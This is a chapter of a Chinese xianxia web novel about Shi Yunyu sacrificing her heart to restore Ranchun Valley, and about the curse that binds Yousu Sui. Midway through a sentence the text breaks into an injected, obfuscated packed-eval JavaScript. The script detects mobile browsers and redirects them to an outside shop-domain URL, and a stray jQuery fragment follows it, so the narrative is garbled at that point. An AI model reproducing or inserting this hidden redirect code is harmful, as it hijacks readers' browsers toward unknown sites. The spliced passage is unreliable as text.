“绥之,我想,解咒并不是完全不可能的事情,”魏衔青看着有苏绥手里紧攥的玉扣,叹息,“这些年发生了很多事情,我们,都没有看到事件的全貌。我本应替她保守这个秘密的……”
有苏绥一愣,眼里的恨意翻滚成迷茫。
“今夜月色好,适合说些往事,”魏衔青幻化出一壶酒,只抿了一小口,辣意从喉咙烧到心里,“关于染春谷,关于石蕴玉。”
“她,逃避染春谷的事务,一部分是因为你将她留在灵濛山,而另一部分是因为她力不从心。她没有阿婙那样充沛的道源力,自然无法支撑染春谷的运转……”
“不是还有衔漪,”应珍睨了有苏绥一眼,“和他吗?”
“阿婙,”魏衔青摇摇头,将酒分给应珍一杯,“阿姐亲口和我说过,青鸟式微,狐族势弱,因为你的能力,所以染春谷交由你支撑起十之八九,我们不过是躲在你身后乘凉的人罢了……而蕴玉,她只能支撑十之三四。”
“唔……”应珍突然笑了,将杯中酒一饮而尽,“你继续!还有哪些是我不知道的?你且也都与我说道说道。”
魏衔青借着酒的醉意,缓缓开口:“那就从绥之手上的残玉说起吧?……”
**
魏衔青永远会记得那一天。
那一天,暮色像渗血的纱布,一层层裹住染春谷的天际。
“还是没有办法,我……比师姐差远了。”魏衔青刚到染春谷便听见了石蕴玉的喃喃自语,而他的指尖无意识地摩挲着腰间那块温凉的玉佩。
玉名“栖梧”,是半块青玉,此刻却在黄昏里泛起不安的微光,仿佛像感应到了什么一般。
“衔青君。”石蕴玉声音从身后传来,平静得像深潭的水面。
“你叫我来所为何事?不是同你说过吗,你我还是少见面为好。”魏衔青淡淡地说道。
“我……想借你的青玉一用。”
“这次又要多久?”魏衔青轻嗤一声,“三年?又三年?你们含和之人真是无耻,拿着我一半青玉,还想要我手中的另一半。”
衔青玉而生,魏衔青此名便出自此玉。
在他三岁那年,含和宗宗主宿殷与峰主石卫垣便“借”走了他的半块青玉,至今未还。
“你看,染春谷,离开她,早已没有了往日的生机,”石蕴玉侧过脸看他,眼眸在暮色里沉如墨玉,“所以我来借栖梧,你先别急着拒绝我。”
石蕴玉抬手,指尖在空中虚虚一划,淡金色的灵光流淌而出,勾勒出山川河流的脉络。
“这才是它本应有的模样,是我没用……”
“你想做什么?”魏衔青的手猛地攥紧了玉佩,温润的玉石硌在掌心,某种不祥的预兆在他心中升起。
石蕴玉收回手,金光消散:“我想要染春谷变成从前的模样。”
“你?”魏衔青嗤笑一声,“你应当知道,以你的能力,这完全是不可能做到的!”
“所以我来借栖梧,”石蕴玉将手放在胸口上,“完整的栖梧,加上我天生的玲珑心,你说我是否可以启动地脉同心的禁术?”
“你疯了!”魏衔青一字一顿,“你会死的。”
“不会的。”石蕴玉轻轻摇头,“玲珑心离体后,栖梧玉会暂代其职维系我的生机。”
“代价呢?”
风忽然大了,卷起石蕴玉的衣袂。
“这是一笔很合算的买卖,用我一人换整个染春谷的生机,衔青君,你应当知道她曾经为这里付出了多少心血,你也不想这些心血付之东流吧。”
魏衔青看着她平静又疯狂的侧脸,喉咙像被什么堵住了。
“况且我又不会死,只是……”石蕴玉笑了笑,循循善诱,“只是,失去了玲珑心而已……染春谷有千万生灵。若我的玲珑心能换他们活,值得。”
石蕴玉转过身,正对着魏衔青。暮光在她眼里映出一点极淡的暖色,像是最后一点属于“人”的温度。
“时间不够了,衔青君,在我后悔之前,”石蕴玉伸出手,掌心向上,“借我吧。”
“她会怨我的……”
石蕴玉笑得更灿烂了,她向魏衔青劈去一道凌厉的掌风,趁魏衔青踉跄之时,从他腰侧取走栖梧玉。
“衔青君,本是我有求于你,自然不能让你当这坏人。这样就算我自己取走的了,师姐她……她也不会怨你了。”
魏衔青看着石蕴玉的手,看到玉石触到她皮肤的刹那,光华流转。
“衔青君,多谢!”石蕴玉握紧玉佩,指尖微微发白,“此事就莫让他们知晓了罢,不要徒生事端。”
“好……”
石蕴玉转身欲走,又停住,回头看了一眼远处的灵濛山。
那一眼很深,像要把什么刻进去一般。
“衔青君,没了栖梧,你也要多加保重……”
话音落下,她便化作一道青白色的流光,掠向染春谷谷心。
很久之后,魏衔青听见她的声音在染春谷回荡:“从此,我即此地,此地即我。”
**
“这便是,”魏衔青笑了一声,很干,像枯枝折断,“她的秘密。”
“你……为何不阻止她?”有苏绥颤抖着身体,磷光照亮他身上缠绕的荆棘,那些刺深深扎进皮肉,泛着诡异的暗红色光泽。
“阻止?你的意思我不将那半块青玉给她?”魏衔青冷眼看着有苏绥的疯狂。
有苏绥喉咙里发出低低的呜咽。
魏衔青看着有苏绥眼里的情绪——有质问、有愤怒、有悲伤,最后只是淡淡说道:“她意已决。”
“衔青,多谢。”应珍尚且还算留有一些理智,她知道若无青玉,只怕蕴玉早已魂飞魄散了,“蕴玉决定的事,天地倾覆也拦不住。这就是她的道,她的劫,也是……我们的劫。只是我有一个问题,既然蕴玉将玲珑心留在了染春谷,可为何它会变成现在的模样?”
“许是因为玲珑心离体,许是因为别的什么罢……”
“……我以为,石蕴玉的牺牲,至少是有意义的。”魏衔青给自己又倒了一杯酒,他的手有些抖,洒出的清酒沾上了他的衣袍,“我离开嘤鸣山时,染春谷还似从前那样,我也见了她一次,她说她知道我要做什么,让我放心地去。”
魏衔青回忆着与石蕴玉的最后一次见面,也是在她献出玲珑心后的第一次见面。
他唤她名字,她回过头来,眼睛还是那双眼睛,但里面的东西全变了。像镜子,映得出万物,却空空荡荡。
魏衔青闭上眼。那一幕在脑海里烙得太深,三年了,每次想起都像昨日。
有苏绥挪动了一下身体,荆棘摩擦石地,发出沙沙的声响:“她……”
“绥之,你想问,这和你变成这样有什么关系,是吧?”
“石蕴玉献祭玲珑心的事情,没能瞒住她父亲石卫垣,就是含和的那个代宗主。自然不是我说的,而是玲珑心离体后,她本命魂灯骤然黯淡,她父亲立刻察觉了。后面的事情,你们也就知道了。”
应珍依在石壁上:“所以石卫垣赶到染春谷时,看见没了玲珑心的蕴玉,但他不能对蕴玉如何,于是他需要另一个发泄怒火的出口,首当其冲的就是你们有苏狐族。只是我还有个疑问,石卫垣是如何知道你与蕴玉之间的感情?他怎就精
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610621|205924||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
准地向你施下荆棘之缚?”
“因为——”魏衔青指着有苏绥手里的玉扣,“栖梧炼化的一块碎片,乃蕴玉的贴身之物。因为石蕴玉在乎你,她留给你的最后一道护身符,却没曾想到,它变成了你的催命符。”
有苏绥低头看着手心的玉扣,魏衔青继续说道:“荆棘之缚唯一的解法,便是有人能看穿你所有扭曲与痛苦,依然真心爱你。但蕴玉做不到了。她没有了心,也就没有了爱人的能力。她能记得你,能守护你,能理性地分析如何解咒,但无心之人永远无法通过验心石的考验。至于这世间的其他人……”
魏衔青没有说完,也不必说完。
良久之后,魏衔青再次开口:“我告诉你这些,不是要你恨谁,更不是强迫你原谅谁。我只是觉得……你有权利知道。知道你,有苏狐族为什么受苦,知道那个曾很爱很爱你的人,为什么再也无法爱你。”
有苏绥蜷缩的身影被微光拉得很长,长到几乎触到群狐石像的影子。
魏衔青递给有苏绥一杯酒:“绥之,一醉解千愁。”
“胡闹!”应珍将酒杯拍在地上,“他这个状态怎么还能喝酒?”
有苏绥看着地上那摊清冽的痕迹,它散发出诱人的香味——但他绝不能触碰。
酒会麻痹痛苦,也会模糊记忆。但他身上的这点痛,是他和她之间,最后的、活着的联系了。
风从山谷那头吹来,带来古树方向淡淡的灵光气息,竟然能通过狭小的缝隙进入洞里。
有苏绥知道,石蕴玉或许就在那里,永恒地守护。
石蕴玉或许也知道,他在这里,永恒地……记得。
“衔青,我未曾恨她,我只觉得累。”有苏绥开口,声音嘶哑得厉害,带着长久孤寂后的干涩,“灵濛山……染春谷……有苏狐族……还有她,就一点办法也没有了吗?”
“这事好办。”应珍走到有苏绥面前,双手抱胸,“既然蕴玉的玲珑心被镇压在染春谷,我们便想法子将它替换出来,蕴玉便能解了你的荆棘之缚,待你的身体恢复后,嘤鸣山青鸟一族、灵濛山有苏狐族,以及人修三方共立的契约也可继续履行了。”
有苏绥看向应珍。这个曾经被含和宗、应天宗联手围剿,却依然能从绝境中撕出一条生路的女子,此刻眼神依旧亮得灼人,仿佛世上没有她不敢想、不敢做的事。
“替换……出来?阿婙,我知你有通天之能,但你未免说得太轻巧了罢。经年累月,她的玲珑心与染春谷、灵濛山地脉已融为一体,取出来?然后呢?看着两地灵脉枯竭,生灵涂炭?抑或地脉反噬?情况只会比现在糟糕百倍千倍。”
应珍没反驳,只是拍了拍有苏绥的肩膀,动作很轻,也轻轻地避开了那些狰狞的棘刺。
“有我在,别担心。现在最重要的,不是那已经在染春谷生根的玲珑心,”她顿了顿,声音压低,却字字清晰,“是怎么把蕴玉从含和宗,完完整整地接出来。”
四人面面相觑,貌似,以他们现在的身份,都不适合前往毓秀灵山。
应珍和晏斐,是道修界挂了名的在逃要犯,画像可能贴满了各宗门任务栏。
有苏绥,一个被含和代宗主亲自诅咒的狐族怪物,一旦露面,别说含和宗,恐怕想拿他研究或泄愤的修士能排起长队。
剩下的魏衔青,青鸟王族的后裔,是将栖梧玉借给石蕴玉的人,某种意义上,他甚至是这场灾祸的导火索,更不宜去含和宗。
夜风涌进山谷,带着孟春的寒意。
很久之后,应珍打破了沉默,她拍了拍手,仿佛只是决定去市集买棵白菜般轻松:“行了,只能是我去了。”